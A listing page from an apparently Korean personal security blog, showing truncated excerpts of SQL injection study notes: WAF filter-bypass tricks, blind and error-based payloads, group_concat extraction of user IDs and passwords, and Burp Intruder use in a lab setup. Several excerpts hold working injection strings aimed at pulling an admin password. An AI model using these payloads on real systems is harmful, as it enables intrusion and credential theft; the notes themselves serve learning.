목록전체 글 (162)
Oh! JUN
※함수 검증 우회 기법※ boardView.do?idx=100 and ascii(substring(@@version,1,1))&1=1-- 차단 boardView.do?idx=100 and ascii('a')=97-- 정상 boardView.do?idx=100 and substring('test',1,1)='t'-- 차단 ascii와 substring 같이 사용할때 차단이고, ascii 혼자일때는 정상, substring 혼자일때도 차단이니까 substring 함수가 문제였다. but 주의할점 ascii와 substring 함수가 같이 사용되면 막히는 경우도 있음 ※우회※ 1. 의미 없는 문자 삽입 분류 문자 공백 관련 문자 %09 %0A %0B %0C %0D %A0 주석 문자 /**/ ex) boardV..

6) 특수 문자 검증 우회 기법 1. 싱글 쿼터(') 문자 검증 우회 싱글 쿼터 문자 사용이 반드시 필요한 예시 SELECT * FROM board WHERE title like '%test%' 싱글 쿼터 문자 사용이 필요 없는 예시 SELECT * FROM board WHERE idx=100 SELECT * FROM board WHERE title like '%test%' SELECT * FROM board order by idx desc ※ 예시 boardView.do?idx=100 정상 boardView.do?idx=100 and 1=1 정상 boardView.do?idx=100 and ascii(substring((select password from member where id='admin'),..

지난 시간에 이어서 이번에는 데이터 조회 공격 실습 org_filename에 사용자가 지정한 파일 이름이 출력된다고 했다. 이걸 활용해서 SQL injection 공격이 가능하다. 그림 참고하면 org_filename 파라미터에 select group_concat(id, '###', password, ',,') from members 쿼리가 들어가서 members 테이블의 id, password 컬럼을 그룹핑해서 한번에 구할 수 있게 했다. real_filename에는 지난시간처럼 실질적인 파일 다운로드 경로를 설정해줬다. 여기서 잠깐 만약 real_filename을 모른다면 어떻게 해야될까? blind-sql 인젝션을 통해서 구해주면된다. org_filename 데이터 구하기 1+and+ascii(su..

※실습환경 #디렉터리 구조 htdocs ㄴsqli_down ㄴ upload ㄴcaf98268abd13bb8ed384da0313e2dd6.jpg ㄴ download.php ㄴ index.php #index.php Download page [Donwload] #download.php

※ MYSQL은 연결연산자가 특정기호가 없기 때문에 사용불가 ★ 되도록이면 INSERT, UPDATE, DELETE 구문은 사용하지 않는게 좋음. (데이터를 건들 수 있어서... 잘못하면 큰일남) ERROR-BASED MSSQL 공격 예시 1. INSERT INTO board VALUES('Data', ''+convert(int, @@version)+'', 'DATA') 2. UPDATE board SET title='DATA', content=''+convert(int, @@version)+''...WHERE idx=100 3. UPDATE board SET title='', content=''... WHERE idx=@@version 4. DELETE FROM board WHERE idx=@@vers..

지금까지 다중 레코드를 한번에 출력할 수 없기 때문에 순차적 레코드를 사용해서 하나씩 출력했는데 이번에 그룹핑을 활용해 한번에 출력시킬것이다. DBMS FUCTION MYSQL GROUP_CONCAT() MSSQL FOR XML PATH(), STRING_AGG() ORACLE LISTAGG() MSSQL 예시 1) FOR XML PATH 함수 사용 예시 select '###' + name from sysobjects where xtype='u' FOR XML PATH('') - STUFF 활용 예시(앞의 ### 제거) select stuff((select '###' + name from sysobjects where xtype='u' FOR XML PATH('')),1,3,'') 2) STRING_AG..

Primarykey-Based-SQL Injection이란 이름에서 예상할 수 있다시피 테이블 제작할때 Primarykey를 활용하는 방법이다. 해당 게시판에서의 PK는 idx이다. 공격 쿼리를 보면 ' and idx=ascii(substr((select user from dual),1,1))-- PK = ASCII 대입시켜서 참인경우 게시물이 검색되는 방법을 활용한 blind 공격이다. 그러다보니 PK의 범위가 ASCII에서 특수문자+숫자+대문자+소문자가 포함되어 있는 범주인 32~126가 포함되어야 공격가능하다. Burp 잡아서 ctrl + i 단축키 활용하면 Intruder로 넘어가게 되는데 clear § 누르고 여기서 반복되는 부분에 Add §를 두 번 추가하면 반복시킬 때 이 부분을 변수처럼 활..

Combination Technique Combination 1 ★Combination 2★ Combination 3 Combination 4 Content-Based + Response-Based + Time-Based Content-Based + Response-Based Content-Based + Time-Based Response-Based + Time-Based 기준4개 기준3개 Blind-SQL Injection 기법인 Content-Based, Response-Based, Time-Based중에서 여러개를 조합해서 Multiple Search Technique을 구현할 수 있다. 하지만, 이전에도 언급했다시피 Time-Based 기법은 시스템 환경에 따라 기준점이 다를 수 있고, 무엇보다도..